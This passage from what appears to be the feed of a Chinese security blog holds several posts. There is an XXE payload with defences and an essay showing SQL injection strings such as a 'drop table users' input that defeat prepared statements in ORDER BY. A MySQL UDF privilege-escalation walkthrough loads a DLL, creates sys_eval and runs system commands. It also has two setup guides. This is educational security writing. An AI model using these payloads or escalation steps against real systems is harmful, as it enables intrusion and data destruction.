class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">xxe</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">name</span> <span class="keyword">ANY</span> &gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://127.0.0.1:80&quot;</span> &gt;</span>]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">name</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="如何防御-3"><a class="markdownIt-Anchor" href="#如何防御-3"></a> 如何防御？</h3><h4 id="使用开发语言提供的禁用外部实体的方法"><a class="markdownIt-Anchor" href="#使用开发语言提供的禁用外部实体的方法"></a> 使用开发语言提供的禁用外部实体的方法</h4><p>php:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">libxml_disable_entity_loader</span>(<span class="literal">true</span>);</span><br></pre></td></tr></table></figure><p>java:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">DocumentBuilderFactory</span> <span class="variable">dbf</span> <span class="operator">=</span>DocumentBuilderFactory.newInstance();</span><br><span class="line">dbf.setExpandEntityReferences(<span class="literal">false</span>);</span><br></pre></td></tr></table></figure><p>Python:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> lxml <span class="keyword">import</span> etree</span><br><span class="line">xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=<span class="literal">False</span>))</span><br></pre></td></tr></table></figure><h4 id="过滤用户提交的xml数据"><a class="markdownIt-Anchor" href="#过滤用户提交的xml数据"></a> 过滤用户提交的XML数据</h4><p>过滤关键字：<code>&lt;\!DOCTYPE</code>和<code>&lt;\!ENTITY</code>，或者<code>SYSTEM</code>和<code>PUBLIC</code></p><h4 id="不允许xml中含有自己定义的dtd"><a class="markdownIt-Anchor" href="#不允许xml中含有自己定义的dtd"></a> 不允许XML中含有自己定义的DTD</h4><blockquote><p>参考：<br /><a href="https://xz.aliyun.com/news/6483">从XML相关一步一步到XXE漏洞</a></p><p><a href="https://blog.csdn.net/Libra1313/article/details/149851715">XXE漏洞详解</a></p><p><a href="https://blog.csdn.net/qq_32238611/article/details/108301023">XML注入攻击总结</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/08/29/%E4%BB%8EXML%E5%88%B0XXE/</id>
    <link href="https://hackun.top/2025/08/29/%E4%BB%8EXML%E5%88%B0XXE/"/>
    <published>2025-08-29T03:46:48.406Z</published>
    <summary>
      <![CDATA[<h1 id="从xml到xxe"><a class="markdownIt-Anchor" href="#从xml到xxe"></a> 从XML到XXE</h1>
<h2 id="xml"><a class="markdownIt-Anchor" href="#xml"></a]]>
    </summary>
    <title>从XML到XXE</title>
    <updated>2025-08-29T03:46:38.754Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="漏洞" scheme="https://hackun.top/categories/%E6%BC%8F%E6%B4%9E/"/>
    <category term="漏洞" scheme="https://hackun.top/tags/%E6%BC%8F%E6%B4%9E/"/>
    <category term="SQL" scheme="https://hackun.top/tags/SQL/"/>
    <content>
      <![CDATA[<h1 id="sql预编译"><a class="markdownIt-Anchor" href="#sql预编译"></a> SQL预编译</h1><blockquote><p>本文章主要解决一个问题：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250820223230334.gif" style="zoom: 20%;" /><strong>预编译真的能完美防御SQL注入吗？？？</strong></p></blockquote><p>sql注入是指攻击者拼接恶意SQL语句到接受外部参数的动态SQL查询中，程序本身未对插入的SQL语句进行过滤，导致SQL语句直接被服务端执行</p><p>对于如此危险的漏洞，有没有办法进行阻止呢？</p><p>有的兄弟，有的！</p><p>预编译就能解决<mark>大部分</mark>的SQL注入问题</p><h2 id="何为预编译"><a class="markdownIt-Anchor" href="#何为预编译"></a> 何为预编译？</h2><p>预编译全称Prepared Statement，就是在执行SQL前，把SQL语句告诉数据库服务器，编译好结构，然后再单独传参数进去执行</p><p>普通的拼接SQL：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">username <span class="operator">=</span> input(&quot;请输入用户名：&quot;)</span><br><span class="line"><span class="keyword">sql</span> <span class="operator">=</span> &quot;SELECT * FROM users WHERE username = &#x27;&quot; <span class="operator">+</span> username <span class="operator">+</span> &quot;&#x27;&quot;</span><br><span class="line">cursor.execute(<span class="keyword">sql</span>)</span><br></pre></td></tr></table></figure><p>这就好像直接把“用户输入”和“SQL语句”拼成一整句话。<br />用户只要输入了奇怪的东西，就能控制整个 SQL 的逻辑！</p><p>使用预编译：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">username <span class="operator">=</span> input(&quot;请输入用户名：&quot;)</span><br><span class="line"><span class="keyword">sql</span> <span class="operator">=</span> &quot;SELECT * FROM users WHERE username = ?&quot;</span><br><span class="line">cursor.execute(<span class="keyword">sql</span>, (username,))</span><br></pre></td></tr></table></figure><p>SQL 写的时候，用占位符（?）或命名参数（:name），<br />参数是后面传进去的！不是拼进去的！</p><blockquote><p><strong>预编译的执行流程</strong><br />发送 SQL 模板给数据库服务器<br />比如：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> username <span class="operator">=</span> ?</span><br></pre></td></tr></table></figure><p>这个时候数据库就把这个 SQL 的结构编译好了，生成了“执行计划”</p><p>服务器把这个语句存起来<br />存的是“只差参数”的 SQL 模板<br />客户端发送参数<br />比如：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(&quot;admin&quot;,)</span><br></pre></td></tr></table></figure><p><mark>数据库执行之前编译好的 SQL</mark><br /><mark>把你传进去的参数当成“纯数据”，直接放进语句执行！</mark><br />为什么这样能防止 SQL 注入？<br />因为参数永远只是值，不会被当作 SQL 代码执行！<br />哪怕用户输入的是：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; OR &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br></pre></td></tr></table></figure><p>数据库也会当成一个完整的字符串 <code>' OR '1'='1</code> 来处理，它不会让它改变 SQL 语句的逻辑结构</p></blockquote><p>但是，重点来了，预编译真的能完美防御SQL注入吗？</p><h2 id="预编译之外的注入"><a class="markdownIt-Anchor" href="#预编译之外的注入"></a> 预编译之外的注入</h2><p>刚刚提到，预编译是将sql语句参数化，刚刚的例子中 where语句中的内容是被参数化的。这就是说，<mark>预编译仅仅只能防御住可参数化位置的sql注入</mark>。那么，对于不可参数化的位置，预编译将没有任何办法</p><blockquote><p>不可参数化的位置：</p><p>表名、列名<br /><code>order by</code>、<code>group by</code><br /><code>limit</code><br /><code>join</code></p><p>我们以order by举例，现在有一个sql语句如下（以下为伪代码）</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">ORDER</span> <span class="keyword">BY</span> &#123;user_input&#125;;</span><br></pre></td></tr></table></figure><p>其中user_input是传递过来的参数，例如 id</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">ORDER</span> <span class="keyword">BY</span> id;</span><br></pre></td></tr></table></figure><p>这个语句是正确的，但是如果user_input输入 <code>id;drop table users -- </code></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">ORDER</span> <span class="keyword">BY</span> id;<span class="keyword">drop</span> <span class="keyword">table</span> users <span class="comment">-- </span></span><br></pre></td></tr></table></figure><p>这样就被成功注入了，而这种位置是不可被参数化的，所以是无法通过预编译防御的</p><p>order by后一般是接字段名，而字段名是不能带引号的，比如 <code>order by username;</code>如果带上引号成了<code>order by 'username'</code>，那username就是一个字符串不是字段名了，这就产生了语法错误。</p><p>所以order by后不能参数化的本质是：一方面预编译又只有自动加引号的setString()方法，没有不加引号的方法；而另一方面order by后接的字段名不能有引号</p></blockquote><h2 id="如何防御"><a class="markdownIt-Anchor" href="#如何防御"></a> 如何防御</h2><p>对于sql注入存在两种情况，可参数化的，不可参数化的</p><p>对于可参数化没商量，直接预编译解决一切。</p><p>而对于不可参数化的，只能通过设置白名单，过滤特殊符号，通过加引号强制转为字符串等方式进行拦截</p><blockquote><p>参考：</p><p><a href="https://blog.csdn.net/qq_38170796/article/details/135398819#:~:text=%E5%9C%A8%E4%B9%8B%E5%89%8D%E9%9D%A2%E8%AF%95%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C%E6%88%91%E8%BF%98%E6%98%AF%E5%A4%AA%E8%8F%9C%E4%BA%86%EF%BC%8C%E6%9C%89%E4%B8%80%E9%81%93%E9%9D%A2%E8%AF%95%E9%A2%98%E8%BF%98%E6%98%AF%E5%80%BC%E5%BE%97%E7%A0%94%E7%A9%B6%E7%A0%94%E7%A9%B6%E7%9A%84%E3%80%82%E9%9D%A2%E8%AF%95%E5%AE%98%E9%97%AE%E6%88%91%EF%BC%8C%E6%80%8E%E6%A0%B7%E5%AE%8C%E5%85%A8%E9%81%BF%E5%85%8Dsql%E6%B3%A8%E5%85%A5%EF%BC%9F%E6%88%91%E6%83%B3%E8%B5%B7%E4%BA%86%E5%88%9A%E6%AF%95%E4%B8%9A%E6%97%B6%E6%A0%A1%E6%8B%9B%E6%9C%89%E4%B8%80%E6%AC%A1%E4%B9%9F%E8%A2%AB%E9%97%AE%E8%BF%87%E4%B8%80%E6%A0%B7%E7%9A%84%E9%97%AE%E9%A2%98%EF%BC%8C%E5%BD%93%E6%97%B6%E6%88%91%E8%AF%B4%E7%9A%84%E6%98%AF%EF%BC%9A%E2%80%9C%E5%9F%BA%E6%9C%AC%E4%B8%8A%E9%A2%84%E7%BC%96%E8%AF%91%E5%B0%B1%E8%83%BD%E8%A7%A3%E5%86%B3%E4%BA%86%E3%80%82%E2%80%9D">预编译真的能完美防御SQL注入吗？</a></p><p><a href="https://www.cnblogs.com/ALe3/articles/18841470">SQL预编译——预编译真的能完美防御SQL注入吗 </a></p><p><a href="https://x1lys.github.io/2024/08/13/%E6%B5%85%E8%B0%88%E9%A2%84%E7%BC%96%E8%AF%91%E4%B9%8B%E4%BA%8ESQL%E6%B3%A8%E5%85%A5%E9%98%B2%E5%BE%A1/index.html">浅谈预编译之于SQL注入防御</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/08/24/SQL%E9%A2%84%E7%BC%96%E8%AF%91/</id>
    <link href="https://hackun.top/2025/08/24/SQL%E9%A2%84%E7%BC%96%E8%AF%91/"/>
    <published>2025-08-24T09:17:32.140Z</published>
    <summary>
      <![CDATA[<h1 id="sql预编译"><a class="markdownIt-Anchor" href="#sql预编译"></a> SQL预编译</h1>
<blockquote>
<p>本文章主要解决一个问题：</p>
<p><img src="https://raw.githu]]>
    </summary>
    <title>预编译真的能完美防御SQL注入吗？？？</title>
    <updated>2025-08-24T09:17:12.422Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="ubuntu" scheme="https://hackun.top/categories/ubuntu/"/>
    <category term="虚拟机" scheme="https://hackun.top/tags/%E8%99%9A%E6%8B%9F%E6%9C%BA/"/>
    <category term="ubuntu" scheme="https://hackun.top/tags/ubuntu/"/>
    <content>
      <![CDATA[<h1 id="解决ubuntu与windows间无法复制粘贴问题"><a class="markdownIt-Anchor" href="#解决ubuntu与windows间无法复制粘贴问题"></a> 解决Ubuntu与Windows间无法复制粘贴问题</h1><blockquote><p><code>open-vm-tools</code> 是在 VMware 虚拟机中提供与宿主机交互的工具包，比如：</p><ul><li>自动调整虚拟机分辨率</li><li>文件夹共享</li><li><mark>剪贴板共享（宿主机与虚拟机之间）</mark></li><li>性能优化等</li></ul></blockquote><p>直接在ubuntu命令行执行以下命令</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get autoremove open-vm-tools    //卸载已有的工具</span><br><span class="line">sudo apt-get install open-vm-tools        //安装工具open-vm-tools</span><br><span class="line">sudo apt-get install open-vm-tools-desktop  //安装open-vm-tools-desktop</span><br></pre></td></tr></table></figure><p>之后重启即可：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo reboot</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://hackun.top/2025/08/12/%E8%A7%A3%E5%86%B3Ubuntu%E4%B8%8EWindows%E9%97%B4%E6%97%A0%E6%B3%95%E5%A4%8D%E5%88%B6%E7%B2%98%E8%B4%B4%E9%97%AE%E9%A2%98/</id>
    <link href="https://hackun.top/2025/08/12/%E8%A7%A3%E5%86%B3Ubuntu%E4%B8%8EWindows%E9%97%B4%E6%97%A0%E6%B3%95%E5%A4%8D%E5%88%B6%E7%B2%98%E8%B4%B4%E9%97%AE%E9%A2%98/"/>
    <published>2025-08-12T07:13:08.165Z</published>
    <summary>
      <![CDATA[<h1 id="解决ubuntu与windows间无法复制粘贴问题"><a class="markdownIt-Anchor" href="#解决ubuntu与windows间无法复制粘贴问题"></a> 解决Ubuntu与Windows间无法复制粘贴问题</h1>
<block]]>
    </summary>
    <title>解决Ubuntu与Windows间无法复制粘贴问题</title>
    <updated>2025-08-12T06:56:09.856Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="博客美化" scheme="https://hackun.top/categories/%E5%8D%9A%E5%AE%A2%E7%BE%8E%E5%8C%96/"/>
    <category term="博客美化" scheme="https://hackun.top/tags/%E5%8D%9A%E5%AE%A2%E7%BE%8E%E5%8C%96/"/>
    <content>
      <![CDATA[<h1 id="github-pages绑定域名"><a class="markdownIt-Anchor" href="#github-pages绑定域名"></a> Github Pages绑定域名</h1><div class="tag-plugin quot"><p class="content" type="text"><span class="empty"></span><span class="text">不经历撕心裂肺的痛苦与筋疲力尽的挣扎，怎能破茧成蝶，实现涅槃重生？</span><span class="empty"></span></p></div><h2 id="域名注册"><a class="markdownIt-Anchor" href="#域名注册"></a> 域名注册</h2><p>进入<a href="https://www.aliyun.com/">阿里云官网</a>，先到域名注册页面购买自己心仪的域名</p><p>新用户需要进行实名认证，在订单详情页有相关提示进行认证即可，一般10分钟内可审核通过，实名认证成功后，可直接购买域名，选择支付宝支付即可</p><h2 id="域名解析"><a class="markdownIt-Anchor" href="#域名解析"></a> 域名解析</h2><p>当域名状态显示为 <strong>正常</strong> 时，开始进行 <strong>域名解析</strong>，点击右侧操作中的 <strong>解析设置</strong> 进入云解析 DNS 页面</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730143853467.png" alt="image-20250730143853370" /></p><p>点击添加记录，添加一条 <strong>A</strong> 记录和一条 <strong>CNAME</strong> 记录，填写如下：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730144335273.png" alt="" /></p><p>附1：主机记录说明</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730144304052.png" alt="" /></p><p>附2：记录类型</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730144652642.png" alt="image-20250730144652583" /></p><p>特别注意A记录时将域名指向一个IPv4地址，其记录值选择github官方IP：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">185.199.108.153</span><br><span class="line">185.199.109.153</span><br><span class="line">185.199.110.153</span><br><span class="line">185.199.111.153</span><br></pre></td></tr></table></figure><p>上面4个随便选一个即可</p><h2 id="域名绑定"><a class="markdownIt-Anchor" href="#域名绑定"></a> 域名绑定</h2><p>先Github 仓库的 <strong>CNAME</strong> 文件中新增一条指令：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730153600147.png" alt="" /></p><p>前往<a href="https://github.com/">Github Page</a>已搭建好的仓库中，点击<strong>settings</strong>→ <strong>page</strong>→<strong>Custom domain</strong> 项中添加进行解析后的自定义域名→ 勾选 <strong>Enforce HTTPS</strong></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730152713644.png" alt="" /></p><p>这样Github Pages就绑定域名了</p><p>你以为这样就好了吗😛。。。。。。</p><p>实则不然，你会遇到每次使用hexo deploy部署之后，github page的custom domian自定义域名就会失效</p><p>这时，只需在hexo项目的source文件夹下新建CNAME文件，里面填入你的域名，并保存，这样每次hexo deploy后，github page就不会出现域名重置了</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730173512231.png" alt="" /></p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250730143632827.gif" alt="img" style="zoom: 50%;" />]]>
    </content>
    <id>https://hackun.top/2025/08/12/Github-Pages%E7%BB%91%E5%AE%9A%E5%9F%9F%E5%90%8D/</id>
    <link href="https://hackun.top/2025/08/12/Github-Pages%E7%BB%91%E5%AE%9A%E5%9F%9F%E5%90%8D/"/>
    <published>2025-08-12T07:13:08.163Z</published>
    <summary>
      <![CDATA[<h1 id="github-pages绑定域名"><a class="markdownIt-Anchor" href="#github-pages绑定域名"></a> Github Pages绑定域名</h1>
<div class="tag-plugin quot"><p c]]>
    </summary>
    <title>Github Pages绑定域名</title>
    <updated>2025-08-12T06:57:40.745Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="MySQL" scheme="https://hackun.top/categories/MySQL/"/>
    <category term="提权" scheme="https://hackun.top/categories/MySQL/%E6%8F%90%E6%9D%83/"/>
    <category term="MySQL" scheme="https://hackun.top/tags/MySQL/"/>
    <category term="提权" scheme="https://hackun.top/tags/%E6%8F%90%E6%9D%83/"/>
    <category term="UDF" scheme="https://hackun.top/tags/UDF/"/>
    <content>
      <![CDATA[<p>本文解析Windows环境下的MySQL UDF提权</p><span id="more"></span><h1 id="mysql-udf提权"><a class="markdownIt-Anchor" href="#mysql-udf提权"></a> MySQL UDF提权</h1><h2 id="windows环境下"><a class="markdownIt-Anchor" href="#windows环境下"></a> Windows环境下</h2><h3 id="概述"><a class="markdownIt-Anchor" href="#概述"></a> 概述</h3><p>有时候我们通过一些方式获取了目标主机mysql的用户名和密码，并且可以远程连接，我们远程登录上mysql服务器，这时，我们想通过mysql来执行系统命令，此时我们可以考虑UDF进行提权</p><p>UDF（User Defined Function）：用户自定义函数，其为MySQL的一个拓展接口，可以使用UDF为MySQL增添一些函数</p><h3 id="前提条件"><a class="markdownIt-Anchor" href="#前提条件"></a> 前提条件</h3><p>获取mysql控制权限：知道mysql用户名和密码，并且可以远程登录（即获取了mysql数据库的权限）</p><p>mysql具有写入文件的权限：mysql有写入文件的权限，即<code>secure_file_priv</code>的值为空</p><blockquote><p>mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关，如操作系统以普通用户登录的并启动mysql，经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql，提权后获取的权限则为系统管理员权限</p></blockquote><h3 id="手工提权"><a class="markdownIt-Anchor" href="#手工提权"></a> 手工提权</h3><h4 id="查看mysql是否有写入文件的权限"><a class="markdownIt-Anchor" href="#查看mysql是否有写入文件的权限"></a> 查看MySQL是否有写入文件的权限</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">mysql&gt; show global variables like &#x27;%secure%&#x27;;</span><br><span class="line">+--------------------------+-------+</span><br><span class="line">| Variable_name            | Value |</span><br><span class="line">+--------------------------+-------+</span><br><span class="line">| require_secure_transport | OFF   |</span><br><span class="line">| secure_auth              | ON    |</span><br><span class="line">| secure_file_priv         |       |</span><br><span class="line">+--------------------------+-------+</span><br><span class="line">3 rows in set, 1 warning (0.00 sec)</span><br></pre></td></tr></table></figure><blockquote><p><code>secure_file_priv</code>是用来限制<code>load dumpfile</code>、<code>into outfile</code>、<code>load_file()</code>函数在哪个目录下拥有上传和读取文件的权限。如下关于<code>secure_file_priv</code>的配置介绍</p><ul><li><p>当<code>secure_file_priv</code>的值为<code>null</code>，表示限制mysqld 不允许导入|导出</p></li><li><p>当<code>secure_file_priv</code>的值为<code>/tmp/</code>，表示限制mysqld 的导入|导出只能发生在/tmp/目录下</p></li><li><p>当<code>secure_file_priv</code>没有具体值时，表示不对mysqld 的导入|导出做限制</p></li></ul></blockquote><p>如果secure_file_priv的值不是为空，我们可以在mysql/my.ini中查看是否有<code>secure_file_priv</code> 的参数，如果没有的话我们就添加 <code>secure_file_priv = ' '</code></p><h4 id="写入动态链接库"><a class="markdownIt-Anchor" href="#写入动态链接库"></a> 写入动态链接库</h4><p>动态链接库就是实现共享函数库概念的一种方式，在Windows环境下后缀名为<code>.dll</code>，在linux环境下后缀名为<code>.so</code>，我们要将该文件放在特定的目录中，该文件中包含了执行系统命令的一些函数</p><table><thead><tr><th>版本</th><th>路径</th></tr></thead><tbody><tr><td>MySQL &lt; 5.0</td><td>导出路径随意；</td></tr><tr><td>5.0 &lt;= MySQL&lt;= 5.1</td><td>需要导出至目标服务器的系统目录（如：<code>c:/windows/system32/</code>或<code>c:/windows</code>）</td></tr><tr><td>MySQL &gt; 5.1</td><td>必须导出到MySQL安装目录下的<code>lib\plugin</code>文件夹下</td></tr></tbody></table><h5 id="查看版本"><a class="markdownIt-Anchor" href="#查看版本"></a> 查看版本</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mysql&gt; select version();</span><br><span class="line">+-----------+</span><br><span class="line">| version() |</span><br><span class="line">+-----------+</span><br><span class="line">| 5.7.26    |</span><br><span class="line">+-----------+</span><br><span class="line">1 row in set (0.00 sec)</span><br></pre></td></tr></table></figure><h5 id="查看plugin所在目录"><a class="markdownIt-Anchor" href="#查看plugin所在目录"></a> 查看plugin所在目录</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mysql&gt; show variables like &#x27;%plugin%&#x27;;</span><br><span class="line">+-------------------------------+----------------------------------------------------+</span><br><span class="line">| Variable_name                 | Value                                              |</span><br><span class="line">+-------------------------------+----------------------------------------------------+</span><br><span class="line">| default_authentication_plugin | mysql_native_password                              |</span><br><span class="line">| plugin_dir                    | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |</span><br><span class="line">+-------------------------------+----------------------------------------------------+</span><br><span class="line">2 rows in set, 1 warning (0.01 sec)</span><br></pre></td></tr></table></figure><p>虽然plugin目录不存在但是这里会显示出来</p><p>我这边版本大于5.7.26，所以放在<code>/lib/plugin</code>下，但需要手动创建，网上说可以结合ntfs特性实现用MySQL创建文件夹，但是我这边尝试失败，为了实验需要，我自己创建一个plugin文件夹</p><h5 id="查看系统架构"><a class="markdownIt-Anchor" href="#查看系统架构"></a> 查看系统架构</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mysql&gt; show variables like &#x27;%compile%&#x27;;</span><br><span class="line">+-------------------------+--------+</span><br><span class="line">| Variable_name           | Value  |</span><br><span class="line">+-------------------------+--------+</span><br><span class="line">| version_compile_machine | x86_64 |</span><br><span class="line">| version_compile_os      | Win64  |</span><br><span class="line">+-------------------------+--------+</span><br><span class="line">2 rows in set, 1 warning (0.00 sec)</span><br></pre></td></tr></table></figure><p>如上显示mysql是64位，操作系统是x86_64</p><p>这里我们上传64位的dll文件</p><p>直接写入16进制数据：</p><p><a href="https://hackun.top/2025/08/06/MySQL-UDF%E6%8F%90%E6%9D%8316%E8%BF%9B%E5%88%B6%E6%9F%A5%E8%AF%A2/">MySQL UDF提权16进制查询 | Ziekun</a></p><h4 id="创建自定义函数"><a class="markdownIt-Anchor" href="#创建自定义函数"></a> 创建自定义函数</h4><p>上传之后，使用如下命令创建自定义函数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">create function sys_eval returns string soname &#x27;udf.dll&#x27;;</span><br></pre></td></tr></table></figure><p>只有两个变量：</p><ul><li>一个是函数名，我们引入的函数是 <code>sys_eval</code></li><li>一个是共享包名称，即 <code>udf.dll</code></li></ul><p>注意：自定义函数并不是随便命名的，其名称要dll文件中我们自定义函数名称一样</p><p>然后使用命令查看是否新增sys_eval函数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mysql&gt; select * from mysql.func;</span><br><span class="line">+----------+-----+---------+----------+</span><br><span class="line">| name     | ret | dl      | type     |</span><br><span class="line">+----------+-----+---------+----------+</span><br><span class="line">| sys_eval |   0 | udf.dll | function |</span><br><span class="line">+----------+-----+---------+----------+</span><br><span class="line">1 row in set (0.00 sec)</span><br></pre></td></tr></table></figure><h4 id="执行系统命令"><a class="markdownIt-Anchor" href="#执行系统命令"></a> 执行系统命令</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mysql&gt; select sys_eval(&#x27;whoami&#x27;);</span><br><span class="line">+----------------------+</span><br><span class="line">| sys_eval(&#x27;whoami&#x27;)   |</span><br><span class="line">+----------------------+</span><br><span class="line">| laptop-fiogpvd7\asus |</span><br><span class="line">+----------------------+</span><br><span class="line">1 row in set (0.62 sec)</span><br></pre></td></tr></table></figure><h4 id="删除自定义函数"><a class="markdownIt-Anchor" href="#删除自定义函数"></a> 删除自定义函数</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">drop function sys_eval;</span><br></pre></td></tr></table></figure><h3 id="udf-shell"><a class="markdownIt-Anchor" href="#udf-shell"></a> UDF shell</h3><p>假设目标 MySQL 在内网情况下，无法直连 MySQL 或者 MySQL 不允许外连，这个时候一些网页脚本就比较方便好用了</p><p><a href="https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php">t00ls UDF.PHP</a> 简单方便，一键 DUMP UDF 和函数，操作门槛降低了很多</p><p>使用时将udf.php放在WWW目录下，访问127.0.0.1/udf.php，登录后：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250807090301899.png" alt="image-20250807090301680" /></p><p>也可以用Navicat MySQL</p><h3 id="中文字符编码问题"><a class="markdownIt-Anchor" href="#中文字符编码问题"></a> 中文字符编码问题</h3><p><mark>在中文Windows系统环境下，cmd.exe默认使用<strong>GBK字符集</strong>进行输入输出处理</mark>，这意味着：</p><ul><li>从数据库传递给cmd的命令参数必须是GBK编码</li><li>cmd执行结果的输出也是GBK编码</li><li>如果字符集不匹配，就会出现乱码或命令执行失败</li></ul><h4 id="输出结果编码错误"><a class="markdownIt-Anchor" href="#输出结果编码错误"></a> 输出结果编码错误</h4><p>在中文Windows环境下MySQL UDF提权中，最常见的问题是执行结果的编码问题：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select sys_eval(&#x27;dir F:\\&#x27;);</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250808111349276.png" alt="" /></p><p>对应的解决办法很简单，udf函数外加一层编码转化的函数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select convert(sys_eval(&#x27;dir F:\\&#x27;) using gbk);</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250808111429123.png" alt="" /></p><h4 